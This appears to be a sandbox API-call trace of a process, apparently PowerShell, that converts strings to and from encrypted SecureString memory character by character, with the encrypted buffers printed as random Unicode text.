Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.160] SysStringLen (param_1="4RhgbOW9xzthfhnebSs4l9XSskKNDG/䗻") returned 0x20 [0250.160] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.160] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀넟쉤﵅᣺⫠፳麔럸") returned 0x20 [0250.160] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀넟쉤﵅᣺⫠፳麔럸") returned 0x20 [0250.160] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.160] SysStringLen (param_1="4RhgbOW9xzthfhnebSs4l9XSskKNDG/M") returned 0x20 [0250.160] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0250.161] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀Ꮨ쌲댲ꕠ䫃㖙㲽뛂") returned 0x20 [0250.161] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀Ꮨ쌲댲ꕠ䫃㖙㲽뛂") returned 0x20 [0250.161] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀Ꮨ쌲댲ꕠ䫃㖙㲽뛂") returned 0x20 [0250.161] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀Ꮨ쌲댲ꕠ䫃㖙㲽뛂") returned 0x28 [0250.161] SystemFunction041 (in: Memory=0x3af364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af364) returned 0x0 [0250.161] SysStringLen (param_1="4RhgbOW9xzthfhnebSs4l9XSskKNDG/MGﮧ쑛ᾮ섬菦俎篹") returned 0x28 [0250.161] SystemFunction040 (in: Memory=0x3af364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af364) returned 0x0 [0250.161] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀Ꮨ쌲댲ꕠ䫃㖙㲽뛂宺走鲛㝟폹仱᷿᳠") returned 0x28 [0250.161] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀Ꮨ쌲댲ꕠ䫃㖙㲽뛂宺走鲛㝟폹仱᷿᳠") returned 0x28 [0250.161] SystemFunction041 (in: Memory=0x3af364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af364) returned 0x0 [0250.162] SysStringLen (param_1="4RhgbOW9xzthfhnebSs4l9XSskKNDG/MGr쑛ᾮ섬菦俎篹") returned 0x28 [0250.162] SystemFunction040 (in: Memory=0x3af364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af364) returned 0x0 [0250.162] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀Ꮨ쌲댲ꕠ䫃㖙㲽뛂鳣畃콼놊힒塀㰃琘") returned 0x28 [0250.162] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀Ꮨ쌲댲ꕠ䫃㖙㲽뛂鳣畃콼놊힒塀㰃琘") returned 0x28 [0250.162] SystemFunction041 (in: Memory=0x3af364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af364) returned 0x0 [0250.162] SysStringLen (param_1="4RhgbOW9xzthfhnebSs4l9XSskKNDG/MGrUᾮ섬菦俎篹") returned 0x28 [0250.162] SystemFunction040 (in: Memory=0x3af364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af364) returned 0x0 [0250.162] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀Ꮨ쌲댲ꕠ䫃㖙㲽뛂ۣ◝밯Ợ쌋敩⨱") returned 0x28 [0250.162] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀Ꮨ쌲댲ꕠ䫃㖙㲽뛂ۣ◝밯Ợ쌋敩⨱") returned 0x28 [0250.162] SystemFunction041 (in: Memory=0x3af364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af364) returned 0x0 [0250.162] SysStringLen (param_1="4RhgbOW9xzthfhnebSs4l9XSskKNDG/MGrUD섬菦俎篹") returned 0x28 [0250.162] SystemFunction040 (in: Memory=0x3af364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af364) returned 0x0 [0250.162] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀Ꮨ쌲댲ꕠ䫃㖙㲽뛂ᖁﬗă꛺慆킉➷䣀") returned 0x28 [0250.162] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀Ꮨ쌲댲ꕠ䫃㖙㲽뛂ᖁﬗă꛺慆킉➷䣀") returned 0x28 [0250.162] SystemFunction041 (in: Memory=0x3af364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af364) returned 0x0 [0250.163] SysStringLen (param_1="4RhgbOW9xzthfhnebSs4l9XSskKNDG/MGrUDa菦俎篹") returned 0x28 [0250.163] SystemFunction040 (in: Memory=0x3af364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af364) returned 0x0 [0250.163] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀Ꮨ쌲댲ꕠ䫃㖙㲽뛂⡌ﰴᎸ\廟哼쏕횾⋶) returned 0x28 [0250.163] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀Ꮨ쌲댲ꕠ䫃㖙㲽뛂⡌ﰴᎸ\廟哼쏕횾⋶) returned 0x28 [0250.163] SystemFunction041 (in: Memory=0x3af364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af364) returned 0x0 [0250.163] SysStringLen (param_1="4RhgbOW9xzthfhnebSs4l9XSskKNDG/MGrUDat俎篹") returned 0x28 [0250.163] SystemFunction040 (in: Memory=0x3af364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af364) returned 0x0 [0250.163] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀Ꮨ쌲댲ꕠ䫃㖙㲽뛂螞渀洛뀟쒙磆⫲嶶") returned 0x28 [0250.163] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀Ꮨ쌲댲ꕠ䫃㖙㲽뛂螞渀洛뀟쒙磆⫲嶶") returned 0x28 [0250.163] SystemFunction041 (in: Memory=0x3af364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af364) returned 0x0 [0250.163] SysStringLen (param_1="4RhgbOW9xzthfhnebSs4l9XSskKNDG/MGrUDatL篹") returned 0x28 [0250.163] SystemFunction040 (in: Memory=0x3af364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af364) returned 0x0 [0250.163] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀Ꮨ쌲댲ꕠ䫃㖙㲽뛂礱謽칉ꏸ籸ڼ⛮") returned 0x28 [0250.163] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀Ꮨ쌲댲ꕠ䫃㖙㲽뛂礱謽칉ꏸ籸ڼ⛮") returned 0x28 [0250.163] SystemFunction041 (in: Memory=0x3af364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af364) returned 0x0 [0250.164] SysStringLen (param_1="4RhgbOW9xzthfhnebSs4l9XSskKNDG/MGrUDatLx") returned 0x28 [0250.164] SystemFunction040 (in: Memory=0x3af364, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af364) returned 0x0 [0250.164] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀Ꮨ쌲댲ꕠ䫃㖙㲽뛂֊暙䎒\䛟⼵Lj≁) returned 0x28 [0250.164] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀Ꮨ쌲댲ꕠ䫃㖙㲽뛂֊暙䎒\䛟⼵Lj≁) returned 0x28 [0250.164] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀Ꮨ쌲댲ꕠ䫃㖙㲽뛂֊暙䎒\䛟⼵Lj≁) returned 0x28 [0250.164] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀Ꮨ쌲댲ꕠ䫃㖙㲽뛂֊暙䎒\䛟⼵Lj≁) returned 0x30 [0250.164] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0250.164] SysStringLen (param_1="4RhgbOW9xzthfhnebSs4l9XSskKNDG/MGrUDatLxw希輍樂咗茹뭜谺") returned 0x30 [0250.164] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0250.165] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀Ꮨ쌲댲ꕠ䫃㖙㲽뛂֊暙䎒\䛟⼵Lj噁蓆쵼偗쪧Ľ\탟") returned 0x30 [0250.165] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀Ꮨ쌲댲ꕠ䫃㖙㲽뛂֊暙䎒\䛟⼵Lj噁蓆쵼偗쪧Ľ\탟") returned 0x30 [0250.165] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0250.165] SysStringLen (param_1="4RhgbOW9xzthfhnebSs4l9XSskKNDG/MGrUDatLxw8輍樂咗茹뭜谺") returned 0x30 [0250.165] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0250.165] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀Ꮨ쌲댲ꕠ䫃㖙㲽뛂֊暙䎒\䛟⼵Lj靁\髛⌷ꠁ⤻飍ᭀ㝣") returned 0x30 [0250.165] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀Ꮨ쌲댲ꕠ䫃㖙㲽뛂֊暙䎒\䛟⼵Lj靁\髛⌷ꠁ⤻飍ᭀ㝣") returned 0x30 [0250.165] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0250.165] SysStringLen (param_1="4RhgbOW9xzthfhnebSs4l9XSskKNDG/MGrUDatLxw8U樂咗茹뭜谺") returned 0x30 [0250.165] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0250.165] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀Ꮨ쌲댲ꕠ䫃㖙㲽뛂֊暙䎒\䛟⼵Ljፁ擥垉米ⵀ⭪给餷⊣) returned 0x30 [0250.165] SysStringLen (param_1="翶ﬠ䣓ꨖ滴ⴡ쎯瓑ᏽ恬ᶞౣ䴨昹뮶鱒찝ꯩ暂ᇘ詎裀Ꮨ쌲댲ꕠ䫃㖙㲽뛂֊暙䎒\䛟⼵Ljፁ擥垉米ⵀ⭪给餷⊣) returned 0x30 [0250.165] SystemFunction041 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0250.165] SysStringLen (param_1="4RhgbOW9xzthfhnebSs4l9XSskKNDG/MGrUDatLxw8U=咗茹뭜谺") returned 0x30 [0250.165] SystemFunction040 (in: Memory=0x5c930f4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c930f4) returned 0x0 [0250.166] EtwEventActivityIdControl () returned 0x0 [0250.166] EtwEventActivityIdControl () returned 0x0 [0250.166] EtwEventActivityIdControl () returned 0x0 [0250.166] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0250.166] EtwEventActivityIdControl () returned 0x0 [0250.166] EtwEventActivityIdControl () returned 0x0 [0250.166] EtwEventActivityIdControl () returned 0x0 [0250.167] SysStringLen (param_1="") returned 0x8 [0250.167] SysStringLen (param_1="N") returned 0x8 [0250.167] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.167] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0250.167] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0250.167] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.167] SysStringLen (param_1="ND") returned 0x8 [0250.167] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.168] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0250.168] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0250.168] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.168] SysStringLen (param_1="NDZ") returned 0x8 [0250.168] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.168] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0250.168] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0250.168] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.168] SysStringLen (param_1="NDZl") returned 0x8 [0250.168] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.168] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0250.168] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0250.168] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.168] SysStringLen (param_1="NDZlO") returned 0x8 [0250.168] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.169] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0250.169] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0250.169] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.169] SysStringLen (param_1="NDZlOD") returned 0x8 [0250.169] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.169] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0250.169] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0250.169] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.169] SysStringLen (param_1="NDZlODR") returned 0x8 [0250.169] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.169] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0250.169] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0250.169] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.169] SysStringLen (param_1="NDZlODRm") returned 0x8 [0250.169] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0250.170] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0250.170] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0250.170] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0250.170] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0250.170] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.170] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0250.170] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.170] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0250.170] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0250.170] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.171] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0250.171] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.171] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0250.171] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0250.171] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.171] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0250.171] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.171] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0250.171] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0250.171] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.171] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0250.171] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.171] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0250.171] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0250.171] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.172] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0250.172] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.172] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0250.172] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0250.172] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.172] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0250.172] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.172] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0250.172] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0250.172] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.172] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0250.172] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.172] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0250.172] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0250.172] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.173] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0250.173] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0250.173] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0250.173] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0250.173] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0250.173] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0250.173] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.173] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0250.173] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.173] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0250.173] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0250.174] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.174] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0250.174] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.174] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0250.174] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0250.174] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.174] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0250.174] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.174] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0250.174] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0250.174] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.174] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0250.174] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.174] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0250.174] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0250.174] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.175] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0250.175] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.175] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0250.175] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0250.175] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.175] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0250.175] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.175] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0250.175] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0250.175] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.175] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0250.175] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.175] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0250.175] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0250.175] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0250.176] 